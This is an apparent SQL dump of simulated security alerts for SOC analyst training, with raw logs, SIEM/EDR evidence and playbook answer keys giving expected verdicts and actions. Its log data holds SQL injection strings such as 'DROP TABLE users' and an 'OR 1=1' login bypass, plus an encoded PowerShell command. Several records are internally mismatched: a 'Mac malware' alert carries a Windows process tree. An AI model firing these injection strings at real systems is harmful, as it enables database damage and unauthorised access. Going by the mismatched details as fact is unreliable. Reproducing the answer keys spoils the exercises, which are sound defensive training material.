(1438, 'Command Injection Attempt Detected', 'critical', 'Netskope', 'A command injection attempt was made against a web application, detected and blocked by security systems.', 'Web Attack', 'T1059', 0, 'investigating', 247, '{\"timestamp\":\"2026-03-02T15:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.70\",\"dst_ip\":\"192.168.1.50\",\"username\":\"webuser\",\"hostname\":\"CORP-WEB-505\",\"request_body\":\"id=1; DROP TABLE users;\"}', '2026-03-02 03:22:47', '2026-03-05 11:37:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web attack attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id=1; DROP TABLE users;\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contained a SQL injection payload, confirming the attack attempt.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1439, 'Possible Insider Data Leak Detected', 'medium', 'Symantec DLP', 'An employee was detected attempting to send sensitive files to a personal email address.', 'Data Exfil', 'T1059', 1, 'Closed', 266, '{\"timestamp\":\"2026-03-02T16:00:00Z\",\"event_type\":\"email_sent\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"10.0.0.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-606\",\"email_sender\":\"jdoe@corporate.com\",\"email_receiver\":\"personalemail@example.com\"}', '2026-03-02 03:22:47', '2026-03-09 13:42:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"personalemail@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address linked to potential data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The email attempt to a personal address with sensitive attachments indicates a potential insider threat.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1440, 'Failed Brute Force Login Attempt', 'low', 'Forcepoint', 'A login attempt failed due to incorrect credentials from an external IP, no further attempts were noted.', 'Credential Attack', 'T1078', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T17:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.80\",\"dst_ip\":\"192.168.1.60\",\"username\":\"jdoe\",\"hostname\":\"CORP-SVR-707\",\"failed_attempts\":1}', '2026-03-02 03:22:47', '2026-03-07 05:19:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.80\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempt was a one-off incident and does not indicate a brute force attack.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:54:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:53:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:52:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:51:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1441, 'Potential Unauthorized Data Transfer to Cloud Storage', 'medium', 'Netskope', 'Detected potential unauthorized upload of files to personal cloud storage service from an employee\'s machine.', 'Data Exfil', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T18:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.65\",\"dst_ip\":\"203.0.113.90\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-808\",\"url\":\"http://personalcloud.example.com/upload\"}', '2026-03-02 03:22:47', '2026-03-03 12:15:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://personalcloud.example.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Personal cloud storage, no malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The upload was to a verified personal cloud account, flagged due to policy but not malicious.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1442, 'Successful Data Exfiltration to External Server', 'critical', 'Forcepoint', 'Sensitive data was successfully transferred to a known external server without authorization.', 'Data Exfil', 'T1059', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T19:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"203.0.113.100\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-909\"}', '2026-03-02 03:22:47', '2026-03-06 10:00:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration incidents\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external server IP is linked to data exfiltration, confirming the breach.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1443, 'Initial Access via Spear Phishing', 'medium', 'Employee Email', 'An email from a seemingly legitimate aerospace industry contact contains a malicious link leading to a compromised website, setting the stage for network infiltration.', 'Social Engineering', 'T1566.001 - Spear Phishing Link', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"source_ip\":\"172.217.18.110\",\"destination_ip\":\"10.0.0.15\",\"source_email\":\"j.smith@aerospace-experts.com\",\"destination_email\":\"t.miller@contractor-network.com\",\"subject\":\"Exciting Collaboration Opportunity\",\"malicious_link\":\"http://compromised-site.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"email_id\":\"<a1b2c3d4e5f6@example.com>\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"Project_Plan.pdf\"}', '2026-03-03 22:01:10', '2026-03-13 16:22:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.217.18.110\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address belongs to the contractor\'s network.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"j.smith@aerospace-experts.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email address used in similar phishing incidents.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://compromised-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing landing page.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"Hash belongs to an empty file, potential decoy.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing\",\"date\":\"2026-03-03T22:56:57.368Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1444, 'Execution of Custom Mac Malware', 'high', 'Endpoint Detection System', 'The attackers deployed custom Mac malware on a target system within the network. This malware is designed to evade detection and establish control over the system, allowing attackers to potentially pivot further into the network.', 'Malware Deployment', 'T1059.003 - Command and Scripting Interpreter: AppleScript', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:32Z\",\"event_id\":\"mac_malware_exec_001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"malware_filename\":\"launchProxy\",\"file_hash\":\"3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\",\"action\":\"execution\",\"status\":\"blocked\",\"detection_method\":\"signature-based detection\",\"signature_name\":\"CustomMacMalware.v1\"}', '2026-03-03 22:01:10', '2026-03-09 03:22:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"launchProxy\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"Malware designed to evade detection on MacOS systems.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious Mac malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
